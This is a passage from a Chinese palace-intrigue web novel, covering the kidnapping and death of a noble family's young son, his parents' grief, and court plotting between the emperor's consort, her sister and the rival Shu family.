舒晋有些心软,牵住舒廷的手,“行,爹爹带你去。” 舒廷喜笑颜开,“谢谢爹爹。” 舒晋今日约了人谈事。 父亲病重无法理事,朝堂之上,应家昔日拥趸与皇帝的人步步紧逼,如今整个靖国公府的重担都压在舒晋一人身上。 情况不妙,他必须做出正确的抉择。 到了雅间门前,舒晋蹲下身子对舒廷道:“爹爹与人谈事,你去隔壁等我。” 舒廷乖巧点头。 舒晋直起身子,对身后的侍从道:“看顾好小公子。” 二人恭声,“是。” 舒廷和父亲告别,乖乖地跟着侍从去了隔壁。 小二上了糕点茶水,他吃了两块,喝了杯茶,安静地想该给娘亲选什么礼物。 首饰衣裳娘亲都不缺,而且年年都送,总觉得缺乏新意。 该送什么好呢? 舒廷苦恼地皱着眉头。 一时想不出来,他泄气地趴在桌上。 两名仆从在一旁逗他开心,舒晋无奈叹气,“两位叔叔,我都多大了,早就不用人哄了。” 听见他这一声“叔叔”,二人惶恐不已,弯腰告罪。 舒廷无奈,却也不好多说。 娘亲告诉他好孩子要知礼,有时候见了爹爹身边的侍从,他一声“叔叔”脱口而出,倒惹得他们惶恐不安。 次数多了,舒廷便不唤“叔叔”了,今日着实是下意识之举。 他不想听两人赔罪,耳尖地听到下方热闹的动静,跳下圆凳,“噔噔”跑到窗户边。 听动静,楼下像是在耍杂耍,乌泱泱的围着一群人,看不分明,只能听见热闹的哄笑声与锣鼓声。 舒廷趴着听了一会儿,转过头问:“我能去看看吗?” 娘亲很少出府,这么热闹,这杂耍应当很是好看,他想看了回去说给娘亲听。 一人犹豫,“小的得去问过世子。” 舒廷点头,“你去吧。” 那人转去了隔壁,敲了两下房门。 屋内舒晋皱着眉,不耐道:“进来。” 侍从大气不敢出,推门而入,屏气走到舒晋身旁,小声道:“世子,小公子想去楼下看杂耍。” 舒晋也听到了楼下的敲锣声,拧了拧眉,“去吧,照顾好小公子。” 廷儿这段时日一直被拘在府里,让他松快松快也好。 “他若有个闪失,我唯你是问。” 这话只是习惯性的叮嘱。 舒家如今虽有难,但舒晋并不觉得在京城有人敢动他的儿子。 侍从道:“是。” 小孩子爱热闹,舒晋没放在心上,转头与人说话。 侍从回了隔壁,笑道:“小公子,世子同意了。” 舒廷小脸蛋上露出笑,“那咱们下去吧。” 下了楼,舒廷直奔杂耍之地。 他个子矮瞧不见,一名侍从便把他放在肩上。 视野开阔,舒廷眼睛发亮地看着被围在正中钻火圈的猴子。 它一连钻了两个火圈,引得周围阵阵叫好。 舒廷还是孩子,被兴奋感染,也跟着拍手。 身前的人忽然后退,重重一脚踩在侍从脚背,他“哎哟”一声弯下腰,险些把舒廷摔下去。 好在舒廷反应及时,在身子倒下去之前抓住侍从衣服。 “小公子,没事吧?” 舒廷摇摇头,“没事,你先把我放下来吧。” 喧闹声太大,侍从没听清,还是舒廷再重复了一遍他才把他放下。 另一名侍从道:“小公子,我带你看。” 舒廷往里望了眼,眼睛里有不舍,却还是懂事地没再继续。 今日看够了,下次他想和爹爹娘亲一起来看。 “不用,咱们回吧。” 话音刚落,周围人群猛地推搡起来,锣鼓声中夹杂着喧闹声。 “谁啊,挤什么挤?!” “啊!谁摸我!” “我的钱袋,谁拿走了我的钱袋?!抓贼啊!” 人群拥挤,侍从们立马去拉舒廷,这一看,方才还在面前的孩子,此时已经消失无踪。 二人慌了,推开人群叫喊:“小公子,小公子?!” …… “咚”的一声闷响,男人压低嗓音喝斥,嗓音粗嘎如闷雷,“当心点,若是这小崽子醒了大吵大闹,惹来了人就不好了。” 女人敷衍应道:“知道了,他的家人应该很快就要追上了,咱们动作快些。” 迷迷糊糊听见这两句对话,舒廷幽幽转醒。 睁开眼睛,眼前是快速后退的青石板地面,眼珠一转,两侧是光滑锃亮的墙壁。 额头一阵阵地发痛,舒廷脑子发晕着挣扎,“你们是谁,要带我去哪儿,放开我,快把我放开!” 男人骂了一句,“怎么这么快就醒了?” 话音甫落,肩头忽然一阵剧烈疼痛,男人没忍住叫了一声,猛地甩开肩上的小崽子。 舒廷后脑勺重重撞在墙上,疼得他玉雪可爱的小脸一片惨白,脸上淌着两行泪,强忍恐惧看着面前一男一女。 “你、你们是谁?” 男人扬起蒲扇般的手,狠狠给了舒廷一巴掌。 “小兔崽子,你敢咬我?!” 他用了十足的力,舒廷白皙侧脸顿时红肿,巴掌印印在脸上,格外刺目。 从小到大,他从未被这般对待过,舒廷眼泪止不住地掉,却也分辨得出面前二人并非善人,身子蜷缩成一团,惊恐又警惕地看着他们。 “你、你们要做什么?” 他深吸一口气,保持着这个年纪的孩童罕见的冷静,语气哽咽,但内容清晰道:“是要钱吗?我有钱,你们把我放了,我把钱全都给你。” 男人龇牙咧嘴地摸着肩头,女人不屑冷哼,“你个小鬼头身上能有几个钱?” “我真的有钱!” 舒廷从腰上取出钱袋,小心谨慎地递了出去。 女人一把抓过,打开一看,眼睛立马亮了,兴奋道:“没想到啊,你这小鬼头还真有钱。” 舒廷点点头,小声道:“现在能把我放了吗?” 女人眼尖地瞥见舒廷腰上的玉佩,伸手抢过,两眼放光,“好东西啊!这玉起码值几百两……” 目光落在某处,女人蓦地抬头,眼睛紧盯着舒廷,“你是舒家的人?” 舒廷愣了片刻,嘴唇嚅动,潜意识里觉得让人知晓自己是舒家的人不是件好事,怯怯摇头,“不、不是……” “舒家的小崽子?” 男人眯起眼睛,一把夺过女人手里的玉佩,看清上面的“舒”字,歪嘴狞笑,“既然是舒家的,卖了你也算积德了。” 舒廷瞪大眼睛,“什、什么意思?” “什么意思?” 女人哼笑,“舒家坏事做尽,丧尽天良,卖了舒家的子孙,可不是给自己积德?” 舒廷顾不得后脑疼痛,瞪着女人,小脸涨红,脸上巴掌印显得狰狞,“你胡说!” “我胡说?” 女人不屑一笑,“谁不知道舒家残害忠良被告了御状?舒家那名千金大小姐为了个男人毁了姑娘家清白,逼得人父兄不得不调离京城,至今不敢回。舒家世子也不遑多让,据说当年看上一个姓魏的姑娘,姑娘不从,舒晋直接逼死了她一家五口,其中两个,不过是比你大不了几岁的小姑娘。” “这舒晋还真是个狠人,朝堂上凡是挡了舒家路的人,不是被他残害就是被迫远走,手中鲜血比起我等不知多了多少。” “哎呀呀。” 女人好以整暇地低头看着舒廷,“今日你犯到我手上,说不准还真是老天爷给的福报呢。” “胡说!你胡说!” 舒廷双眼含泪,凶狠地瞪着她。 不知为何,听她说姓魏的一家五口,舒廷心口泛起阵阵疼痛,他分辨不清,只能归咎于听见父亲被人诬蔑的痛恨。 “你胡说,我爹爹才不是这样的人!” 男人挑眉,“舒晋的小崽子?” 女人大喜,“那可真是个金疙瘩。反正你有个这样的爹以后也好不了,不如让我给你换个爹。” “我不要!是你们诬蔑爹爹,你们胡说!” 舒廷双眼通红,仿佛一头发怒的小狮子,冲上去抱住男人的腿,重重一口咬上去。 眼泪冒出来,他死死咬着,口腔内弥漫着血腥味也不放开。 才不是他们说的那样! 祖父威严但慈祥,祖母温柔,爹爹待他和娘亲极好,会抱着他玩闹,带他骑马射箭,陪娘亲赏花做糕点。 他是极好的爹爹,怎么、怎么会是这样的人呢? 男人痛得大叫,一巴掌将舒廷扇开。 小身子重重撞在墙上,本就隐隐作痛的后脑越发疼痛,恍惚间,舒廷好似感受到了咕咕鲜血在流淌。 男人犹不解恨,重重一脚踹在舒廷胸膛,雪白小脸瞬间惨白。 他疼得说不出话,眼泪止不住往下淌。 男人一连踹了几脚,气得瞪眼,颈侧青筋暴跳,凶恶又可怖。 “别管他了!” 女人拉住他,瞥了眼舒廷,“动静太大了,再不走,当心舒家的人找上来。这小子出气多进气少,眼看就不能活了,别管他了,赶紧走,别惹一身腥。” 见男人一脸怒容,她劝道:“瘦死的骆驼比马大,舒家可不是好惹的。” 男人终于消了气,拉着女人快速消失在巷子深处。 “咳咳。” 舒廷全身上下都疼,挣扎着爬起。 血迹顺着墙壁下滑,染红了他的衣摆。 舒廷指尖曲起,哭着往外爬。 他要去找爹爹,他要去问他,他们说的是不是真的。 娘亲说,好孩子要知错就改,如果是,他陪着爹爹改,他替爹爹赎罪。 如果不是、如果不是…… 后脑疼痛越发剧烈,舒廷的视线被泪水模糊。 他一阵阵发晕,白嫩指尖染了血污。 爹爹…… 你告诉我…… 你能说一句,不是吗……? 忽然一阵风雪卷过幽暗巷子,一道小身影伏在其中,鲜血晕开,仿佛一朵开在糜烂血肉之躯上的罪恶罂粟。 一巷之外的阁楼上,红木八仙桌上坐着三名衣着华贵的男子。 最上方那人裹着大氅,金冠束住长发,侧脸如刀削斧凿,俊挺深刻。 眉目深邃,眸中闪过阴鸷之色。 舒晋放下玉盏,嗓音冷冽如冰。 “那姓应的留不得。找个靠谱的潜进大理寺,做干净些。” 第80章 芳音端着新出的梅花糕进来,瞧见云镜纱手里的针线,笑道:“娘娘,这件给陛下的衣服快做好了吧?说来,奴婢还没见过陛下穿这种颜色的衣裳。” 云镜纱瞧着手里快要做完的月白色袍子,笑了笑没否认。 给孟桓启的氅衣她早做好了,这件是给唐鹤原做的。 好不容易认了妹妹,她恨不得把一切好东西都给她。 尹寻春眨眨眼,总觉得姑娘自从跟陛下出去一趟后,心情越发好了。 想到某事,她嚼完嘴里的糕点,“娘娘,听说凤仪宫今日请了太医。” 云镜纱没抬头,“贵妃身怀有孕,请太医不是正常的?” 默默听着的丰熙蓦地出声,“慈宁宫今日也请了太医。” 云镜纱动作一停,拧眉抬睫,“太后身子不适?” 自从知道太后暗中对孟桓启下手,她对慈宁宫高度警惕,一举一动都能引她侧目。 芳音摇了摇头,小声道:“或许是因为靖国公府小公子的事难过吧?” 云镜纱目光一定,微微怔住。 靖国公府小公子意外身亡一事她也听说了,想起那张白嫩可爱的小脸,她有些恍神。 那个与她有过一面之缘的孩子,竟然就这么没了。 还有与大姐姐生得一模一样的连姨娘,唯一的孩子没了,想必她一时半会儿应是接受不了吧。 心里陡然 有些发闷,云镜纱抚了抚胸口,甩甩头,晃开莫名其妙的情绪,垂首收线。 刚把丝线剪断,小宫人进来禀报,“娘娘,高公公来了。” “快请。” 高德容的身影很快走入殿中,脸上带笑,“娘娘,陛下宣您长极宫伴驾。” 他特地补充,“唐大人也在。” 尾音带了一丝疑惑,显然不清楚陛下为何特地让自己说这么一句。 刚把衣裳做好小圆就来了,云镜纱一喜,笑道:“公公稍等,我这就来。” 把衣服仔细叠好,云镜纱吩咐芳音装好,抱起手炉,随高德容去了长极宫。 到了殿外,高德容道:“陛下吩咐过,娘娘直接进去即可。” 云镜纱颔首,把手炉递给芳音,抱过装着衣裳的雕漆木盒,朝长极宫内走去。 孟桓启在批奏折,唐鹤原坐在下首出神,二人间的气氛略微尴尬。 先前不知也就罢了,如今一个姐夫一个小姨子,同处一室确实有些不自在,云镜纱快步走近,笑音轻快,“陛下,小圆。” 孟桓启率先抬头,“外面风大,可有受冻?” 云镜纱摇摇头,含笑朝唐鹤原而去。 后者起身,眼里夹带浅淡笑意,“小雨。” 云镜纱兴致勃勃递出手里的木盒,“小圆,我给你做了身衣裳,你回去试试合不合身,若是不合适,下次来的时候带来,我给你改。” 话落发觉有些不合适,云镜纱摇头,“不用带来了,你就递个话给我,我让陛下派人去取。” 孟桓启轻咳一声,“你姐姐说的是。” 唐鹤原含笑抱过木盒,“好。” 云镜纱笑着拉过她的手,坐在她身侧嘘寒问暖,“伤好些了吗?还疼不疼?这个太医治不住咱们就换个太医,一定不能委屈了自己……” 听着她满含关怀的嗓音,孟桓启无奈摇头,垂头继续看折子,让这姐妹俩好好说会儿话。 唐鹤原耐心问答问题,云镜纱放宽了心,饮了口茶,犹疑道:“小圆,你可听说靖国公府小公子的事了?” 虽不知她是何意,唐鹤原也点了头,“知道。” 这事在京城闹得挺大,谁也没想到拍花子竟然杀害了舒晋唯一的儿子。 舒家此刻毕竟还没倒,该做面子的自然得做做面子,这几日去靖国公府的人不少。 云镜纱斟酌着开口,“他的母亲连姨娘,与大姐姐生得很像,只是眼下多了一颗红痣。” 唐鹤原端着杯盏的手一顿。 “小圆,你知道大姐姐葬在哪儿吗?” 唐鹤原手心一紧,艰涩出声,“当年我醒来时身边并没有大姐姐,我想,她应该是被舒晋带走了。” 云镜纱怔愣住,大姐姐尸身不见踪迹,舒晋身边又有一个与她容貌相似的女人,这实在让人怀疑。 “可是……”云镜纱抿唇,“当年我是亲眼看着大姐姐撞柱而亡。” 她偏头看着唐鹤原,语气很轻,“你能死里逃生,是因杀你之人并不知你心脏生在左边,可大姐姐是自戕,她是抱着必死的念头撞柱,那么多的血,她有可能活下来吗?” 唐鹤原沉默了。 云镜纱叹气,“我见到她的第一面,也着实惊讶到了。她与大姐姐实在生得太像。” “可后来我打听过她的家世,并无异样。且她对舒晋和舒廷的感情很深……” 顿了许久,云镜纱嗓音放轻,“你若是怀疑,可以想办法见她一面。” 云镜纱对连茱的感情很复杂,她一开始虽被连茱的脸迷惑过,可亲眼见到她与舒晋相处时的亲昵,内心深处一直坚信她与魏姝就是两个人。 由她所说之话,或许会影响唐鹤原的判断。 唐鹤原摇头,眼里带着颓丧,“我知道大姐姐生存的机会渺茫,只是听你说起,心里难免生出希望。” “如果有机会,我会见见她的。” 过了片刻,唐鹤原哑着嗓子问:“小雨,再过不久就是爹娘的忌辰,你可要去祭拜?” 云镜纱指尖一抖,险些没拿稳手里茶盏。 缄默良久,她摇摇头,“等一切尘埃落定,我再随你去向爹娘请罪。今年你替我给爹娘多烧些纸。还有大姐姐……若是可以,你在爹娘旁边,也替她立个冢吧。” 宫中有太后虎视眈眈,上次出宫去见唐鹤原已是冒险之举,在彻底扳倒舒家和太后之前,她不想再冒险。 唐鹤原握住她的手,郑重点头,“好。” …… 凤仪宫。 丹莹站在门外,向来挺直的腰背弯了,寒风从长廊横扫而过,刺痛她哭红的眼。 擦干泪,她整理衣着进了殿,谨慎地关上门。 看着床榻之上躺着的那人,丹莹的泪险些又出来了。 她忍住喉咙里的哽咽声,轻轻朝床榻走去,开口时话音里的颤抖始终没掩饰住。 “姑娘,这时候哭不得,当心哭坏了身子。” 丹莹跪在榻前,用帕子一下下擦着舒裳晚的泪。 可那眼泪跟止不住似的,擦完了又从惨白侧脸上淌过。 丹莹终于忍不住了,哭着求她,“姑娘,您要振作啊,小主子在天之灵若是瞧见你这般模样,也会心疼的。” 舒裳晚扯了扯嘴角,声音嘶哑如干涸河床,“它还没长成,连一天人都没做,哪里会心疼。” 听着她这副冷漠得了无生机的口吻,丹莹心脏一下下抽疼,捂着唇忍住哭音,“姑娘,它毕竟是您的孩子,在您的腹中待了这么久,母子连心,姑娘伤心,它能感受到的。” “孩子……” 舒裳晚动了动涣散无神的眼珠,纤长手指缓缓抚上小腹。 自从冯氏给她喝了绝子汤,她从未想过这辈子还有做母亲的可能。 可那个孩子就这么毫无征兆地来了。 那是她和阿均的孩子,是上天赐予她的礼物,是她此生最珍贵的宝贝。 她想生下它,哪怕不能亲自抚养,哪怕只能看它一眼,那也足够了。 可它终究还是离她而去。 或许,她这辈子就注定没有孩子。 她该认命的,她不该奢求,都怪她太过贪心,以至于此刻痛不欲生。 “姑娘……” 丹莹哭着握住舒裳晚的手。 舒裳晚忽然有了力气。 她想,她该给她这辈子唯一的孩子报仇,才不枉它投生在她腹中。 “丹莹。” 舒裳晚嗓音干哑,“查清那香囊中的红花来源了吗?” 丹莹擦干泪,语气平稳,“查清了,是玉华宫。” …… 靖国公府。 一人迈上石阶,低哑的嗓音颓然,“夫人还是没吃东西?” 守在门外的侍女小心回复,“回世子的话,没。” 舒晋立在门前,面色苍白,神色疲惫,不复以往的冷峻风光。 他深吸一口气,重重将门推开。 屋内的人仿佛没发现他的踪影,呆呆地坐在榻上,眼眶红肿,泪水流淌而下,将她抱在怀里的布老虎打湿。 舒晋心中一痛,快步上前蹲在连茱面前,声音放柔,“茱儿,你许久没吃东西了,再这样下去身子熬不住,你多少吃些,好不好?” 连茱虚虚看着半空,一言不发。 “茱儿。” 舒晋哽声,“廷儿一向孝顺,他若见你如此,该不知有多伤心难过。” 听到“廷儿”二字,连茱眼珠动了动,僵硬地看着舒晋。 舒晋心里一喜,刚要说话,“啪”的一声,一巴掌当头朝他扇下。 连茱揪着舒晋的衣领,泪如雨下,几乎是尖叫着质问:“为什么廷儿跟你出去一趟会躺着回来?你怎么保护他的?他躺在巷子里喊疼的时候你在哪儿,你在做什么?你为什么不救他?!” “他回来的时候还有气在,我一遍遍地喊他,让他别睡,你知道他在说什么吗?” 连茱哭着嘶吼,“他在问我,娘亲,爹爹是不是个坏人,他是不是做错了很多事?娘亲别哭,我是去天上替爹爹赎罪了,下辈子,我再做你的孩子。” “舒晋,我的心好疼啊,疼得我喘不过气来。我的廷儿做错了什么,他才这么小啊,他的人生还没开始,就要躺在冷冰冰的棺材里。” “舒晋,你还我儿子,你还我儿子!” 舒晋心中钝痛,冰冷的泪水顺着眼眶掉落在衣领深处,在心脏处凝聚成一团坚冰。 他紧紧抱连茱,“茱儿,对不起,都是我的错,是我没保护好廷儿,对不起茱儿……” 连茱放声大哭,“我的廷儿,廷儿!” 她捶打着舒晋的胸膛,仿佛这样能让心里的痛得到缓解。 舒晋不顾连茱的挣扎,将她箍在怀里牢牢抱住。 连茱哭累了,在他怀里沉沉睡去。 舒晋把人放在榻上,安静地凝视她的睡颜,过了许久,脚步踉跄起身。 他冷声吩咐,“夫人睡了,把饭菜放在灶上温着,等她醒了再送来。” 侍女战战兢兢道:“是。” 舒晋抬头望向阴沉沉的天幕,一步步走进风雪中。 廷儿被茱儿养得乖巧听话,正直善良。 以前舒晋觉得有他和父亲在,性子软和些也没什么,廷儿能够以他想要的方式活着,从未让他接触过那些腌臜肮脏事。 可他没想到,大厦将倾,帝王容不得舒家的存在,步步紧逼不放。 导致一些低贱的阿猫阿狗竟也敢动他舒家子孙,杀他舒晋的儿子。 风雪拂过侧脸,带来轻微刺痛。 舒晋眸色暗沉,阴鸷冷冽。 既如此,那他就走到权力的高峰,改朝换代,将这些害得舒家走入绝境,逼死廷儿的人,通通杀个干净。 80-85 第81章 云镜纱原本想再给唐鹤原做身女装,但思忖过后还是觉得算了。 现在做了她也穿不了,还是等以后再说。 想着唐鹤原每日都要看卷宗查案,云镜纱决定给她做个香囊提神。 料子选的是空青色缎子,这个颜色男女皆可用,算是满足了她的一点点私心。 香囊的花纹云镜纱准备用如意纹,寓意好又好看。 描完花样子,芳音道:“娘娘,该用膳了。” 云镜纱放下笔,仰头动了动脖子,舒展着身子朝外走。 她想早些将香囊绣好,用膳的速度加快,一放了筷子便朝榻边走。 丰熙这会儿去用膳了,殿内芳音和尹寻春伺候着。 芳音领着小宫人收拾碗筷,一边和尹寻春小声说着话,“寻春,你觉不觉得,娘娘这几日的胃口好像好了很多。” 尹寻春往桌上扫一眼。 云镜纱的胃口一直不大,平时最多用小碗米饭。今日桌上菜肴比平日里少了许多,其中一份酸菜氽羊肉更是被吃得差不多。 尹寻春回忆片刻,方才娘娘还添了碗米饭。 她小弧度点头,“胃口是要好些。或许是因为娘娘近日心情不错?” 像她,平日里吃得多,心情好吃的能更多。 芳音随意看了眼云镜纱,若有所思,“或许吧。” 一个香囊而已,不过两日云镜纱便绣好了。 特意让何呈光配置了香丸,云镜纱提前和孟桓启打了招呼,让他留唐鹤原说话。 翌日下朝后,云镜纱直奔长极宫而去。 一进殿,她微愣,旋即惊喜唤道:“景哥也在。” 云景舟对她笑着颔首。 和他打了招呼,云镜纱直直朝唐鹤原走去,取出香囊给她戴上。 嗅着空气中的浓烈香味,唐鹤原拧眉,“里边放了什么,怎么这么香,若是被别人闻到,指不定怎么编排。” 云镜纱不管,“你管别人说什么,你就说,这香嗅着提不提神?” 起初香气浓烈,但嗅着嗅着,的确能感到神思清明。 唐鹤原唇角绷直,还是有些不太能接受,“可这也太香了。” “我不管,我亲手给你做的,你必须戴上!” 云镜纱叉腰,语气霸道。 唐鹤原低头拨弄了下香囊,神色虽还有些无奈,可眼里却藏着笑。 “你真霸道。” 云镜纱哼声,“霸道不好吗?” 唐鹤原敷衍,“好好好。” 姐妹二人旁若无人,云景舟与孟桓启对视,对于云镜纱的行为很是震惊。 孟桓启回神,轻咳一声,“云卿还有什么想说的?” 云景舟迟疑,“昭仪和唐大人……” “那是她失散多年的亲人,失而复得,难免上心些。” 云景舟仔细打量着唐鹤原。 他们二人曾在翰林院共事,并不陌生。 可他竟不知唐鹤原是云镜纱失散的亲人。 云景舟垂睫,指尖僵直。 …… 唐鹤原离开长极宫后回了大理寺。 近日整个大理寺都在调查应家舒家一案,忙得不可开交,哪怕是遇见关系不错的同僚,都只是略微点头。 唐鹤原一路畅通无阻地回了公廨,陡然发觉一份卷宗被她落在了家里,和上峰告了假,她匆匆回了唐府,拿了东西又匆忙回到大理寺。 昨日襄阳侯府的小厮上门,道是老夫人近日身子不爽快,今日一早叶江临便回了侯府。 回去之后才发现她老人家身子骨硬朗得很,为了骗他回去才演了出戏。 叶江临气冲冲地和拦住他的侯府侍卫们打了一架,趁机溜走。 他闷闷不乐地走在街上,实在想不通。 他明年才及冠,祖父祖母用得着这么着急让他娶亲吗? 说得好听是盼他娶亲,说得不好听,他就是个传宗接代的工具! 他叶江临也算是一表人才,怎么能被强压着娶一个不喜欢的女人? 就算要娶,那也得…… 脑海中突然浮现一张清隽疏淡的面孔,叶江临不可置信地停下脚步,打了个哆嗦。 他他他他,他怎么能…… 视线慌乱一晃,一道熟悉的身影钻进眼中,叶江临来不及分辨方才的复杂情绪,立马朝他挥手,“唐鹤原,唐鹤原!” 对面那道人影匆匆而行,根本没听见他的声音。 叶江临蹦了两下,放声大喊:“唐鹤原!唐鹤原!” “小原!” …… 车轮子从青石板路上碾过,留下两道辙痕。 侍女瞧着对面沉默憔悴的身影,忍不住心疼,小声劝慰,“夫人,小公子孝顺,一定不忍您这般颓丧,这日子还得继续,您要振作起来啊。” 连茱一言不发,眸光发怔,似沉浸在自己的世界里,将外界所有声音隔绝在外。 侍女无奈叹气,劝道:“夫人不为自己想想,也得为小公子想想。” 她想着世子让她记住的话,小声道:“那主持说了,只要夫人诚心,小公子来世定能健康长寿,无病无灾。” 连茱眼珠子终于动了,嗓音嘶哑,“真的?” 她们今日外出,是去城外万佛寺为舒廷立了往生牌,连茱将自己大半的积蓄都捐了,只希望廷儿在那边能少受些苦。 她浑浑噩噩的,瞧见那块往生牌时,整个人瘫软在地,像是连灵魂都被抽走了,别人说的什么,她全都没听见。 见她有了反应,侍女松了口气,“是啊,夫人忘了?主持说这母子之间的缘分是相互的,小公子若是瞧见生母受苦,这内心定然不安,就算转世,心里也会有牵挂,说不准时常就会有个小病小灾。” “但若是夫人振作起来,小公子见夫人过得好,这心里也就放下了。夫人再每月为他抄经念佛,定能保佑他来世平安顺遂。” 连茱眼里终于有了光,动作慌乱地理了理头发,连声道:“我、我一定振作,请佛祖保佑廷儿。” 侍女脸上带笑,“夫人这么想就对了。” 她推开车窗。 寒风涌入,连茱打了个激灵。 侍女道:“夫人在府里待久了,也该时常出来走动走动。前头那家布庄是夫人以前常去的,不如买些料子给小公子做些衣裳,下月去万佛寺时一并给他烧去?” 连茱动了动唇,“……好。” 就在这时,一道清澈嗓音蓦地钻入连茱耳中。 “小原!” 她陡然一怔,一股麻意从心脏蔓延至全身,令她浑身僵住,动弹不得。 小、小圆? 这是谁? 连茱惶然,僵硬的手捂住心口。 为什么听到这个名字,她会有股想要流泪的冲动? “小原!” 车窗外,一个年轻男子跳着挥手,朝前方那道身影跑去。 连茱视线追逐着他,猛地攥住车窗,急急探出身子。 前头立着 一人,听见声响徐徐转身。 那人穿着月白色长袍,乌黑亮丽的长发扎成一束,随着寒风在空中舞动。 她侧着身子,露出半张白皙侧脸。 脸颊光洁,下巴小巧,肤色如雪,眉眼清淡,俊雅而秀丽,似天地间飘然而落的一捧清雪,清冷无垢,飘飘似仙。 连茱死死盯着她,脑海中不断回荡着那个名字。 小圆,小圆。 小圆是谁?那人又是谁? 脑中忽然一阵刺痛,连茱脸色发白,额角抽动,手中失力地跌坐回去。 侍女大惊,“夫人,您怎么了?” 连茱抚着头,神色痛苦。 额上沁出冷汗,她大口大口喘气,不断去想。 小圆究竟是谁,为什么听到这个名字,她会心痛想哭? 方才那人是小圆吗? 她要去问个清楚。 连茱陡然拂开侍女的手,忍着头痛,踉跄着下了马车,跌跌撞撞往前奔去。 …… 熟悉的声音自身后传响,唐鹤原拧眉驻足。 等叶江临追上来,她语气不好质问:“谁允许你这么叫我?” 叶江临摸了摸后脑,“我听见江姨这么叫过你,就跟着叫了,有什么问题?” “当然有问题。” 唐鹤原冷声,“她是我娘,你是我什么人,凭什么这么叫我?” 叶江临理所应当道:“我们是朋友,朋友之间叫得亲密些不是很正常?” “哦,你还是我房主。” 叶江临笑容清朗,“房客当然得和房主打好交道。” 唐鹤原无言,瞥他一眼,大步朝前。 叶江临腿长,两步跟上,“这个时间你不是应该在大理寺?” “回府拿东西。” 叶江临懂事地没问拿什么东西,余光上下从唐鹤原身上扫过,突然有些别扭,“你、你怎么穿这样一身衣裳,若不是我对你的背影很熟悉,方才还以为是个女扮男装的小姑娘呢。” 唐鹤原一顿,掌心从发尾扫过,语气平静,“回府时发冠被枯枝勾住,索性解了。” 叶江临目视前方,有些不敢看她,“哦。” 鼻尖动了动,他忽然狐疑偏头,“什么味啊这么香?” 目光落在唐鹤原腰间,叶江临伸手去探,“你哪儿来的香囊?” 唐鹤原眼疾手快拦了一下,“别动,别人送的。” 这副珍视的模样让叶江临微愣,语气犹疑,“不会是哪个姑娘送的吧?” 唐鹤原没回,步伐迈得极大。 “还真是姑娘送的?” 叶江临急忙跟上,语气里藏着自己也没察觉的酸意。 “唐鹤原,你真不够意思,咱们好歹也一起住了这么久了,有姑娘给你送香囊,你居然不告诉我。” 唐鹤原语调平平,“与你无关。” “唐鹤原!你伤我心了,我难过了!” “哦,那就接着难过吧。” 连茱磕磕绊绊在后边追,那两人步子迈得大,她最近身子虚弱,走几步便气喘吁吁,着实跟不上。 眼见两人的身影即将消失,她心中一急,踩住裙摆,蓦地摔倒在地。 “夫人!” 侍女匆忙跟上将连茱扶起,“夫人,您怎么样,没摔疼吧?” 连茱愣愣地注视前方。 少年不满的抱怨声顺着寒风送入耳中,她低声喃喃,“唐鹤原,唐鹤原,小圆,小圆……” 侍女瞧她自言自语似是魇住了,心中不安,“夫人……” 话音未落,怀里的人两眼一闭,晕了过去。 第82章 连茱闭着眼,眉心紧紧皱着,汗珠密密麻麻遍布额头。 她清楚地知道自己在做梦,可梦中一片虚无,唯有耳畔连续不断的声音在吵嚷。 男声、女声、孩童声交织,仿佛一团理不清扯不断的线团,密不透风将她裹住,让她无法呼吸。 她努力去辨认那些人在说什么,可不管怎么去听,耳旁依旧是一团乱麻。 “茱儿。” 一道熟悉的声音穿破云雾,雷鸣般在连茱耳畔炸响,她猛地睁眼。 突如其来的光亮让她眼前发晕,手一动,才发觉被人捏在掌中。 舒晋坐在床边,向来梳得一丝不苟的头发略显凌乱,眼眶发红,下巴冒出一圈青茬,狼狈又憔悴。 他牢牢握住连茱的手,嗓音沙哑,“茱儿,你吓坏我了。早知如此,今日我该与你一同去万佛寺的。” 连茱愣愣地看着他,似是还未从梦中脱离。 舒晋动作轻柔抚摸着她的侧脸,目光温柔又痛苦,“茱儿,你不能再这样作践自个儿的身子。我已经失去了廷儿,不能再失去你。” 空洞的目光逐渐有了神采,连茱哑着嗓子,“我知道了。” 见她答应,舒晋脸上露出如释重负的笑容,将脸埋进连茱脖子,“茱儿,我不能失去你。” 连茱张了张唇,话到嘴边说的却是别的事,“夫君,我饿了。” 舒晋急忙起身,“我这就去吩咐。” 厨房动作极快,没多久便送了饭菜,舒晋亲手喂连茱吃了,见她精神比前几日好多了,这才松了口气。 陪着连茱坐了会儿,舒晋的贴身侍从急急赶来,小声催促着。 连茱见他焦急,勉强对舒晋挤出一个笑容,“我没事了,你去吧。” 舒晋将她睃巡一通,叮嘱侍女好生照顾着,步履匆匆。 连茱目送着他远去,招手唤来一名侍女。 “夫人有何吩咐?” 连茱迟疑许久,低声开口,“你去帮我打听一个人,他叫唐鹤原。” 侍女疑惑,“大理寺的唐大人?” 连茱好一会儿才反应过来,“你认识他?” 侍女点头又摇头,“算不得认识,奴婢只是听说过唐大人的名讳。他是今科探花,如今在大理寺任职。” 连茱又愣上良久,犹疑出声,“你……能否寻个人,关注他的行踪?” …… 临近父母忌日,云镜纱情绪起伏不定,加之一个月了,舒家的罪仍未定下,她难免心绪难平。 听闻平逸险些出事,藏了许久的火气突然噌噌噌冒了出来。 她“啪”一声摔了手中茶盏。 碎片散落一地,茶水溅在手背,顺着指尖滴落在地。 云镜纱红着眼,恨声道:“这么久了,为什么还不能定舒家的罪?大理寺是他们舒家设的不成?居然能让刺客混进去,险些杀了平逸!” 孟桓启取出手帕,一点点擦干云镜纱手上水渍。 门外响起芳音战战兢兢的声音,“娘娘,里边怎么了,您可有事?” 孟桓启平声,“无碍,下去吧。” 芳音只得应“是。” 替云镜纱擦干后,孟桓启用了巧劲,将她抱在怀里轻声安抚,“不气不气,小雨,你相信我,这次,我一定不会让舒家翻身。” “平逸你也别担心,我已经派了暗卫日夜保护,不会再出现意外了。” 云镜纱眼泪啪嗒啪嗒地掉,她伏在孟桓启怀里小声哽咽,“小启哥哥,我不知道自己是怎么了,心里好难受,我好想哭。” 孟桓启大手落在她后背,顺着顺滑长发一下又一下地轻抚,“无碍,我在,你想哭就哭,想笑就笑。” 许是他的嗓音太过温柔,云镜纱当真揪着孟桓启的衣服哭了一场。 她哭得小脸鼻子都是红的,趴在孟桓启胸前小声啜泣。 哭完后理智回归,云镜纱面红耳赤,扭捏 不安,“小启哥哥,我是不是很无理取闹?” 孟桓启手放在她后脑,低声道:“小雨,我知道你心中不安。别怕,我一直在。” 